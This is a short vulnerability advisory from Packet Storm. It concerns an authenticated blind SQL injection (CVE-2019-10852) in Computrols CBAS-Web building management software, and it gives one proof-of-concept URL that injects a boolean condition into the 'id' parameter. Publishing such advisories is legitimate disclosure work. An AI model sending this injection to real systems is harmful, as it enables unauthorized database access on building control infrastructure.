Computrols CBAS-Web versions 19.0.0 and below suffer from a remote blind SQL injection vulnerability.
eef431b0e8c1c409d6d88b7d893c6222197d97ee0420746f10f2b533d688780d
Computrols CBAS-Web Authenticated Boolean-based Blind SQL Injection
Affected versions: 19.0.0 and below
CVE: CVE-2019-10852
Advisory: https://applied-risk.com/resources/ar-2019-009
Paper: https://applied-risk.com/resources/i-own-your-building-management-system
by Gjoko 'LiquidWorm' Krstic
PoC (id param):
http://192.168.1.250/cbas/index.php?m=servers&a=start_pulling&id=1 AND 2510=2510
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed